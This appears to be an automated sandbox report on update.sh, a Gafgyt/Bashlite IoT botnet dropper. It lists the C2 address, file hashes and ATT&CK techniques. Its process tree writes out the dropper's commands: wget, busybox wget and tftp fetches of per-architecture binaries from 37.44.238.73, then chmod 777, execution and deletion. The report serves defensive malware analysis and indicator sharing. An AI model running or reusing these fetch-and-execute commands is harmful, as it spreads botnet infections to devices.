Analysis

  • max time kernel
    124s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    17-12-2024 07:08

General

  • Target

    update.sh

  • Size

    3KB

  • MD5

    2f17e8a3d3c383fa8eed2871c745febf

  • SHA1

    73ee845d24d3ae45e47c3f230f96fe5e81ef30ff

  • SHA256

    ba18aff2c29cbe926a950c505310cbcee46e1b2e5fd38b08e8be5000e90301a5

  • SHA512

    22c3a116f062889ad1bef07e20c9fab2cf1fd1993a4435eae385a28d5bbaf02569b08c1fd98022427e14fa44208201913ef4382a9f1921f544512cb9a1f7ca08

Malware Config

Extracted

Family

gafgyt

C2

37.44.238.73:8778

Signatures

  • Detected Gafgyt variant 1 IoCs
  • Gafgyt family
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/update.sh
    /tmp/update.sh
    1⤵
      PID:698
      • /usr/bin/wget
        wget http://37.44.238.73/roze.mips -O roze.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:701
      • /bin/busybox
        busybox wget http://37.44.238.73/roze.mips -O roze.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:726
      • /bin/busybox
        busybox tftp -r roze.mips -g 37.44.238.73
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:729
      • /bin/chmod
        chmod 777 roze.mips
        2⤵
        • File and Directory Permissions Modification
        PID:743
      • /tmp/roze.mips
        ./roze.mips
        2⤵
        • Executes dropped EXE
        • System Network Configuration Discovery
        PID:745
      • /bin/rm
        rm -rf roze.mips
        2⤵
        • System Network Configuration Discovery
        PID:747
      • /usr/bin/wget
        wget http://37.44.238.73/roze.mipsel -O roze.mipsel
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:748
      • /bin/busybox
        busybox wget http://37.44.238.73/roze.mipsel -O roze.mipsel
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:757
      • /bin/busybox
        busybox tftp -r roze.mipsel -g 37.44.238.73
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:761
      • /bin/chmod
        chmod 777 roze.mipsel
        2⤵
        • File and Directory Permissions Modification
        PID:785
      • /tmp/roze.mipsel
        ./roze.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:786
      • /bin/rm
        rm -rf roze.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:787
      • /usr/bin/wget
        wget http://37.44.238.73/roze.sh4 -O roze.sh4
        2⤵
        • Writes file to tmp directory
        PID:788
      • /bin/busybox
        busybox wget http://37.44.238.73/roze.sh4 -O roze.sh4
        2⤵
        • Writes file to tmp directory
        PID:791
      • /bin/busybox
        busybox tftp -r roze.sh4 -g 37.44.238.73
        2⤵
        • Writes file to tmp directory
        PID:795
      • /bin/chmod
        chmod 777 roze.sh4
        2⤵
        • File and Directory Permissions Modification
        PID:821
      • /tmp/roze.sh4
        ./roze.sh4
        2⤵
          PID:822
        • /bin/rm
          rm -rf roze.sh4
          2⤵
            PID:823
          • /usr/bin/wget
            wget http://37.44.238.73/roze.x86 -O roze.x86
            2⤵
            • Writes file to tmp directory
            PID:824
          • /bin/busybox
            busybox wget http://37.44.238.73/roze.x86 -O roze.x86
            2⤵
            • Writes file to tmp directory
            PID:825
          • /bin/busybox
            busybox tftp -r roze.x86 -g 37.44.238.73
            2⤵
            • Writes file to tmp directory
            PID:826
          • /bin/chmod
            chmod 777 roze.x86
            2⤵
            • File and Directory Permissions Modification
            PID:827
          • /tmp/roze.x86
            ./roze.x86
            2⤵
              PID:828
            • /bin/rm
              rm -rf roze.x86
              2⤵
                PID:829
              • /usr/bin/wget
                wget http://37.44.238.73/roze.armv6 -O roze.armv6
                2⤵
                • Writes file to tmp directory
                PID:830
              • /bin/busybox
                busybox wget http://37.44.238.73/roze.armv6 -O roze.armv6
                2⤵
                • Writes file to tmp directory
                PID:831
              • /bin/busybox
                busybox tftp -r roze.armv6 -g 37.44.238.73
                2⤵
                • Writes file to tmp directory
                PID:832
              • /bin/chmod
                chmod 777 roze.armv6
                2⤵
                • File and Directory Permissions Modification
                PID:833
              • /tmp/roze.armv6
                ./roze.armv6
                2⤵
                  PID:834
                • /bin/rm
                  rm -rf roze.armv6
                  2⤵
                    PID:835
                  • /usr/bin/wget
                    wget http://37.44.238.73/roze.armv7 -O roze.armv7
                    2⤵
                    • Writes file to tmp directory
                    PID:836
                  • /bin/busybox
                    busybox wget http://37.44.238.73/roze.armv7 -O roze.armv7
                    2⤵
                      PID:837
                    • /bin/busybox
                      busybox tftp -r roze.armv7 -g 37.44.238.73
                      2⤵
                      • Writes file to tmp directory
                      PID:838
                    • /bin/chmod
                      chmod 777 roze.armv7
                      2⤵
                      • File and Directory Permissions Modification
                      PID:839
                    • /tmp/roze.armv7
                      ./roze.armv7
                      2⤵
                        PID:840
                      • /bin/rm
                        rm -rf roze.armv7
                        2⤵
                          PID:841
                        • /usr/bin/wget
                          wget http://37.44.238.73/roze.i686 -O roze.i686
                          2⤵
                          • Writes file to tmp directory
                          PID:842
                        • /bin/busybox
                          busybox wget http://37.44.238.73/roze.i686 -O roze.i686
                          2⤵
                          • Writes file to tmp directory
                          PID:843
                        • /bin/busybox
                          busybox tftp -r roze.i686 -g 37.44.238.73
                          2⤵
                          • Writes file to tmp directory
                          PID:844
                        • /bin/chmod
                          chmod 777 roze.i686
                          2⤵
                          • File and Directory Permissions Modification
                          PID:845
                        • /tmp/roze.i686
                          ./roze.i686
                          2⤵
                            PID:846
                          • /bin/rm
                            rm -rf roze.i686
                            2⤵
                              PID:847
                            • /usr/bin/wget
                              wget http://37.44.238.73/roze.ppc -O roze.ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:848

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/roze.mips

                            Filesize

                            209KB

                            MD5

                            419aade96c12dfea0260ba505fb31b5b

                            SHA1

                            564e5f24382c87b24e0d2fb6e2705ecc6f29fd60

                            SHA256

                            f1bd061af699e21be35d9dd3d873f93e5eea01085fb9cc90684d5657936ecf75

                            SHA512

                            a1467a609d96c4845e7a18fc7c7da629c6eb8c98ea42c510bf822034e4f16b9a2e3c4fc731ef5e581b35194a3417dceffcbde5b56baf23b0f290f69ed981cbe6